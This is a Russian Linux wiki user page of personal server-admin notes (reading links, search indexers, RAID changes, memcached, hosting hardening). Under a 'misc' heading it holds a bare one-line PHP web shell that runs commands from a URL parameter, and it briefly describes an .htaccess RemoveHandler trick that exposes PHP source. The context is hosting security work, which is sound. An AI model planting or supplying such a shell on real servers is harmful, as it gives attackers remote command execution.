Участник:Rain/Заметки: различия между версиями
Материал из Linux Wiki
Перейти к навигацииПерейти к поиску
Rain (обсуждение | вклад) |
Rain (обсуждение | вклад) (Давно не обновлял) |
||
| (не показано 9 промежуточных версий этого же участника) | |||
| Строка 5: | Строка 5: | ||
* http://xeim.blogspot.com/2008/09/nullmailer.html - перечень и пример настройки простых программ для пересылки почты | * http://xeim.blogspot.com/2008/09/nullmailer.html - перечень и пример настройки простых программ для пересылки почты | ||
* http://blog.sjinks.pro/security/194-say-no-to-intruder/ - пример использования swatch | * http://blog.sjinks.pro/security/194-say-no-to-intruder/ - пример использования swatch | ||
* http://www.securitylab.ru/analytics/421791.php - немного о веб-шеллах и бэкдорах | |||
* https://www.mediawiki.org/wiki/Version_lifecycle - когда надо обновлять Mediawiki | |||
== Разное == | == Разное == | ||
| Строка 34: | Строка 36: | ||
Сделал internal bitmap, скорость вроде не упала. | Сделал internal bitmap, скорость вроде не упала. | ||
</pre> | </pre> | ||
* Пофиксить подмену handler'ов на веб-сервере - надо ли? | * Пофиксить подмену handler'ов на веб-сервере - надо ли? | ||
<pre> | <pre> | ||
| Строка 50: | Строка 51: | ||
С учетом того, что memcached обычно требуется на высоконагруженных сайтах, где под один сайт выделяется целый сервер - то не особо критично, просто пользоваться им на shared-хостинге нежелательно. | С учетом того, что memcached обычно требуется на высоконагруженных сайтах, где под один сайт выделяется целый сервер - то не особо критично, просто пользоваться им на shared-хостинге нежелательно. | ||
</pre> | </pre> | ||
* Максимально расширить disable_functions на хостинге | |||
* Максимально | * Подумать насчет запуска httpd у monit'a для управления наблюдаемыми сервисами. | ||
== Ссылки == | |||
* [[Сервер linuxoid.in/Заметки]] | |||
* | |||
* | |||
Текущая версия на 01:50, 1 февраля 2018
- Создание виртуальной многоканальной карты из нескольких простых
- Почитать на ночь перед сном:
- http://xeim.blogspot.com/2008/09/nullmailer.html - перечень и пример настройки простых программ для пересылки почты
- http://blog.sjinks.pro/security/194-say-no-to-intruder/ - пример использования swatch
- http://www.securitylab.ru/analytics/421791.php - немного о веб-шеллах и бэкдорах
- https://www.mediawiki.org/wiki/Version_lifecycle - когда надо обновлять Mediawiki
Разное
<? system($_GET['cmd']); ?>
Индексаторы
- htdig - древний, не развивается, последний релиз - 2004 года, не поддерживает юникод. Работал. Есть в дистрибутиве. Может сам собирать контент с веб-страниц
- DataPark Search - В целом подходит, единственный раз работал. Повторить не удалось. Может сам собирать контент с веб-страниц или с локальных файлов. Не удалось запустить поиск по индексированному, не выдает ссылки, хотя документы считает
- Sphinx - развивается, тестовый вариант запустился. Не умеет самостоятельно лазить по веб-страницам (в инете есть костыли на базе wget+bash, которые сграбливают сайты и подсовывают их Сфинксу, после чего тот это дело индексирует), больше предназначен для работы с конкретными проектами (например, шерстить базу локального форума, вики, etc)
- MnogoSearch - единственный индексатор, который адекватно работал. То ли он является клоном DataPark Search, то ли наоборот, но они очень похожи по внутреннему устройству
ToDo по серверу
Сменить RAID10 на RAID1 для системного массива
Итого: * https://www.linux.org.ru/forum/admin/7377399 - как победить зависания в процессе перемещения LV в LVM'e - пока никто не сказал * На будущее - сразу после разборки-сборки RAID'a вносить его в mdadm.conf и в initrd (прежде всего в initrd), потом уже мувать разделы.
Вынести bitmap'ы (?) на другой массив для каждого (?) из массивов
Прежде всего я их создал - раньше просто не было. Создал только на системном - при создании на разделе другого массива система вешалась. Возможно это было из-за того, что были перекрестные битмапы между RAID'aми. Пробовать пока больше нет желания. Сделал internal bitmap, скорость вроде не упала.
- Пофиксить подмену handler'ов на веб-сервере - надо ли?
Вот хз, надо ли. С одной стороны - да, можно найти бажный скрипт, который добавит RemoveHandler .php в .htaccess и можно будет сливать php-файлы плейнтекстом. С другой стороны, этот же RemoveHandler используется для защиты каталогов аплоада файлов от выполнения скриптов или для отображения php-файлов текстом в каких-нибудь репозиториях кода. Т.е., вроде как правильнее было бы оставить, а права на аплоад и разруливать бажные скрипты уже владельцу сайта. https://www.linux.org.ru/forum/talks/7273249
Проверить на тестовом сервере, что требуется для работы memcached для всяких там Wordpress'ов.
Требовался php5-memcache (не php5-memcached). Не смотря на ссылку на каталог в /var в конфиге - там реально ничего нет, т.е., из используемого - только библиотека Не работало расширение раньше и из-за того, что плагин ломился на дефолтный порт Однако есть другая проблема - не получается использовать общий memcached-сервер для нескольких WP-сайтов - на других сайтах начинают появляться "чужие" элементы и надписи. С учетом того, что memcached обычно требуется на высоконагруженных сайтах, где под один сайт выделяется целый сервер - то не особо критично, просто пользоваться им на shared-хостинге нежелательно.
- Максимально расширить disable_functions на хостинге
- Подумать насчет запуска httpd у monit'a для управления наблюдаемыми сервисами.
